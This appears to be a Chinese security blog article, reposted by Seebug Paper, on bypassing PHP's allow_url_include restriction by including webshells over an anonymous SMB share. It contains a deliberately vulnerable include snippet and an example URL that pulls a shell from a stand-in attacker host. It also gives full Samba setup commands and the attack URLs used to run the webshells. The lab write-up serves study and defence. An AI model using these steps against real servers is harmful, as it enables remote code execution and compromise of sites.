作者:Ethan
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org

前言

為什么有今天這篇文章?原因是我在瀏覽Twitter時,發現關于遠程文件包含RFI的一個奇淫技巧!值得記錄一下,思路也很新奇!因為它打破我之前以為RFI已死的觀點。

正文

RFI引出

我們知道php最危險的漏洞函數類別之一就是文件包含類的函數,諸如includeinclude_oncerequire,require_once語句的時候,都會使用$_GET或者是其他未經過濾的變量,這就是一個主要的安全風險。

在PHP應用中,通常會有兩個問題導致RFI漏洞。其中之一就是應用程序邏輯錯誤。這些漏洞產生的原因是本來應該被包含到另一個頁面的文件并沒有被包含,而是包含了其他文件。當這些文件獨立執行時,就沒有配置文件來指定這些變量的默認值,如果web應用配置不正確的話,用戶就可以自己指定文件作為請求的一部分。

用一個最簡單的例子來演示一下RFI

<?php
$file=$_GET['file'];
include($file);
?>

在上面的代碼中,file參數從get請求中取值,并且是用戶可控的值。file接收到參數值后直接帶入到PHP文件中,沒有經過任何處理。這樣攻擊者就可以發起相應的請求,從而讓應用程序執行惡意腳本。例如,一個webshell如下:

http://example.com/?file=http://hacker.com/shell.php

通過這樣操作,我們就可以遠程包含一個shell,造成了RCE,但是這樣操作有一個前提,要在php.ini中設置如下:

- allow_url_fopen=on
- allow_url_include=on

正常情況下,當這兩個設置為off時,這個漏洞是不存在的!

另辟蹊徑
PHP和SMB共享文件訪問

在PHP配置文件中,allow_url_include包裝器默認設置為“關閉”,指示PHP不加載遠程HTTP或FTP URL,從而防止遠程文件包含攻擊。但是,即使allow_url_includeallow_url_fopen都設置為off,PHP也不會阻止SMB URL加載。

攻擊場景

當易受攻擊的PHP應用程序代碼嘗試從受攻擊者控制的SMB共享加載PHP Web shell時,SMB共享應該允許訪問該文件。攻擊者需要在其上配置具有匿名瀏覽訪問權限的SMB服務器。因此,一旦易受攻擊的應用程序嘗試從SMB共享訪問PHP Web shell,SMB服務器將不會要求任何憑據,易受攻擊的應用程序將包含Web shell的PHP代碼。

首先我重新配置PHP環境并在php.ini文件中禁用allow_url_fopen以及allow_url_include。后來配置的SMB服務器具有匿名讀訪問權限。SMB共享準備就緒后,利用易受攻擊的應用程序

PHP環境設置

首先我們要把被攻擊主機的php.ini的allow_url_fopenallow_url_include設置為Off

執行phpinfo查看配置是否成功

在繼續之前,讓我們確保當我們嘗試訪問受我們控制主機的Web shell時,PHP代碼不允許遠程文件包含

當我試圖從遠程主機包含PHP Web shell時,應用程序拋出錯誤并且沒有發生RFI!

使用匿名讀取訪問權限配置SAMBA服務器(Linux)

使用下面的命令安裝SAMBA服務器:

apt-get install samba

創建SMB共享目錄:

  mkdir /var/www/html/pub/ 

配置新創建的SMB共享目錄的權限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

運行以下提到的命令以刪除SAMBA服務器配置文件的默認內容

echo > /etc/samba/smb.conf

將下面的內容放在/etc/samba/smb.conf文件中

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ethan]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

重新啟動SAMBA服務器以應用配置文件/etc/samba/smb.conf中的新配置

service smbd restart 

成功重新啟動SAMBA服務器后,嘗試訪問SMB共享并確保SAMBA服務器不要求憑據。

在我的例子中,SAMBA服務器IP是192.168.23.129,我需要訪問Windows文件瀏覽器中的SMB共享,如下:

 \\192.168.23.129\

在SMB服務器中共享PHP Web shell

在目錄/ var / www / html / pub中共享PHP shell,這是SMB共享指令ethan的目錄。

這里放了兩個shell,一個一句話ant.php用來測試蟻劍連接,一個大馬poc.php

接下我們開始攻擊,首先包含poc.php執行我們的大馬!

http://127.0.0.1:8888/rfi.php?file=\\192.168.23.129\ethan\poc.php

嘗試蟻劍連接一句話!

Then, we get it!

后記

有時候我們會局限在傳統安全思維的禁錮,導致我們的視線范圍縮小了許多,因此,打破固有思維,才能發現意想不到的漏洞!

參考鏈接

http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/923/